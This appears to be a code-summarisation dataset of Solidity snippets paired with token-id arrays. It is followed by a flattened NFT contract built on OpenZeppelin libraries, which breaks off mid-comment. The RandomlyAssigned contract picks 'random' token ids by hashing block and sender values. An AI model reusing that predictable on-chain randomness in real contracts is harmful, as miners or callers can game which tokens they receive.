0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
11890,
5034,
5381,
531,
3513,
2712,
67,
1013,
29295,
273,
576,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/42/0xE95a3177d83b53e4AdA737C2952795db2C431fd2/sources/GovernanceProxy.sol | require(now > proposalEnd);uint firstVar = proposal[proposalsVoted].data; | function endVote() public returns (bool) {
bool passed;
address propAcc = proposal[proposalsVoted].proposer;
if(proposal[proposalsVoted].yesVotes > proposal[proposalsVoted].noVotes) {
passed = true;
enactProposal();
}
proposalActive = false;
proposers[propAcc] = false;
proposalsVoted++;
return passed;
}
| 3,385,237 | [
1,
6528,
12,
3338,
405,
14708,
1638,
1769,
11890,
1122,
1537,
273,
14708,
63,
685,
22536,
58,
16474,
8009,
892,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
679,
19338,
1435,
1071,
1135,
261,
6430,
13,
288,
203,
540,
203,
540,
203,
3639,
1426,
2275,
31,
203,
3639,
1758,
2270,
8973,
273,
14708,
63,
685,
22536,
58,
16474,
8009,
685,
5607,
31,
203,
3639,
309,
12,
685,
8016,
63,
685,
22536,
58,
16474,
8009,
9707,
29637,
405,
14708,
63,
685,
22536,
58,
16474,
8009,
2135,
29637,
13,
288,
203,
5411,
2275,
273,
638,
31,
203,
5411,
570,
621,
14592,
5621,
203,
3639,
289,
203,
3639,
14708,
3896,
273,
629,
31,
203,
3639,
450,
917,
414,
63,
5986,
8973,
65,
273,
629,
31,
203,
3639,
450,
22536,
58,
16474,
9904,
31,
203,
3639,
327,
2275,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xefaCa6Fc316B3B2Aa6c55FF5E02a62A85d4391e8/sources/contracts/storage/Market.sol | * @dev Data structure that allows the Market to track the amount of market provided collateral, per type./ | struct DepositedCollateral {
address collateralType;
uint256 amountD18;
}
| 16,517,190 | [
1,
751,
3695,
716,
5360,
326,
6622,
278,
358,
3298,
326,
3844,
434,
13667,
2112,
4508,
2045,
287,
16,
1534,
618,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1958,
4019,
538,
16261,
13535,
2045,
287,
288,
203,
3639,
1758,
4508,
2045,
287,
559,
31,
203,
3639,
2254,
5034,
3844,
40,
2643,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x6f9140097Ab6278B41Cf9597a597030207b8D75d/sources/lib/seaport-core/src/lib/OrderValidator.sol | * @dev Internal pure function to either revert or return an empty tuple depending on the value of `revertOnInvalid`. @param revertOnInvalid Whether to revert on invalid input. @param contractOrderHash The contract order hash. @return orderHash The order hash. @return numerator The numerator. @return denominator The denominator./ | {
function _getOrderStatus(bytes32 orderHash)
internal
view
returns (bool isValidated, bool isCancelled, uint256 totalFilled, uint256 totalSize)
}
function _revertOrReturnEmpty(bool revertOnInvalid, bytes32 contractOrderHash)
internal
pure
returns (bytes32 orderHash, uint256 numerator, uint256 denominator)
if (revertOnInvalid) {
_revertInvalidContractOrder(contractOrderHash);
}
return (contractOrderHash, 0, 0);
}
| 9,676,085 | [
1,
3061,
16618,
445,
358,
3344,
15226,
578,
327,
392,
1008,
3193,
1377,
8353,
603,
326,
460,
434,
1375,
266,
1097,
1398,
1941,
8338,
225,
15226,
1398,
1941,
282,
17403,
358,
15226,
603,
2057,
810,
18,
225,
6835,
2448,
2310,
1021,
6835,
1353,
1651,
18,
327,
1353,
2310,
282,
1021,
1353,
1651,
18,
327,
16730,
282,
1021,
16730,
18,
327,
15030,
1021,
15030,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
288,
203,
565,
445,
389,
588,
2448,
1482,
12,
3890,
1578,
1353,
2310,
13,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
4908,
690,
16,
1426,
353,
21890,
16,
2254,
5034,
2078,
29754,
16,
2254,
5034,
24611,
13,
203,
565,
289,
203,
203,
565,
445,
389,
266,
1097,
1162,
990,
1921,
12,
6430,
15226,
1398,
1941,
16,
1731,
1578,
6835,
2448,
2310,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
3890,
1578,
1353,
2310,
16,
2254,
5034,
16730,
16,
2254,
5034,
15030,
13,
203,
3639,
309,
261,
266,
1097,
1398,
1941,
13,
288,
203,
5411,
389,
266,
1097,
1941,
8924,
2448,
12,
16351,
2448,
2310,
1769,
203,
3639,
289,
203,
203,
3639,
327,
261,
16351,
2448,
2310,
16,
374,
16,
374,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: contracts/WithLimitedSupply.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title A token tracker that limits the token supply and increments token IDs on each new mint.
abstract contract WithLimitedSupply {
using Counters for Counters.Counter;
// Keeps track of how many we have minted
Counters.Counter private _tokenCount;
/// @dev The maximum count of tokens this token tracker will hold.
uint256 private _maxSupply;
/// Instanciate the contract
/// @param totalSupply_ how many tokens this collection should hold
constructor (uint256 totalSupply_) {
_maxSupply = totalSupply_;
}
/// @dev Get the max Supply
/// @return the maximum token count
function maxSupply() public view returns (uint256) {
return _maxSupply;
}
/// @dev Get the current token count
/// @return the created token count
function tokenCount() public view returns (uint256) {
return _tokenCount.current();
}
/// @dev Check whether tokens are still available
/// @return the available token count
function availableTokenCount() public view returns (uint256) {
return maxSupply() - tokenCount();
}
/// @dev Increment the token count and fetch the latest count
/// @return the next token id
function nextToken() internal virtual ensureAvailability returns (uint256) {
uint256 token = _tokenCount.current();
_tokenCount.increment();
return token;
}
/// @dev Check whether another token is still available
modifier ensureAvailability() {
require(availableTokenCount() > 0, "No more tokens available");
_;
}
/// @param amount Check whether number of tokens are still available
/// @dev Check whether tokens are still available
modifier ensureAvailabilityFor(uint256 amount) {
require(availableTokenCount() >= amount, "Requested number of tokens not available");
_;
}
}
// File: contracts/RandomlyAssigned.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title Randomly assign tokenIDs from a given set of tokens.
abstract contract RandomlyAssigned is WithLimitedSupply {
// Used for random index assignment
mapping(uint256 => uint256) private tokenMatrix;
// The initial token ID
uint256 private startFrom;
/// Instanciate the contract
/// @param _maxSupply how many tokens this collection should hold
/// @param _startFrom the tokenID with which to start counting
constructor (uint256 _maxSupply, uint256 _startFrom)
WithLimitedSupply(_maxSupply)
{
startFrom = _startFrom;
}
/// Get the next token ID
/// @dev Randomly gets a new token ID and keeps track of the ones that are still available.
/// @return the next token ID
function nextToken() internal override ensureAvailability returns (uint256) {
uint256 maxIndex = maxSupply() - tokenCount();
uint256 random = uint256(keccak256(
abi.encodePacked(
msg.sender,
block.coinbase,
block.difficulty,
block.gaslimit,
block.timestamp
)
)) % maxIndex;
uint256 value = 0;
if (tokenMatrix[random] == 0) {
// If this matrix position is empty, set the value to the generated random number.
value = random;
} else {
// Otherwise, use the previously stored number from the matrix.
value = tokenMatrix[random];
}
// If the last available tokenID is still unused...
if (tokenMatrix[maxIndex - 1] == 0) {
// ...store that ID in the current matrix position.
tokenMatrix[random] = maxIndex - 1;
} else {
// ...otherwise copy over the stored number to the current matrix position.
tokenMatrix[random] = tokenMatrix[maxIndex - 1];
}
// Increment counts
super.nextToken();
return value + startFrom;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
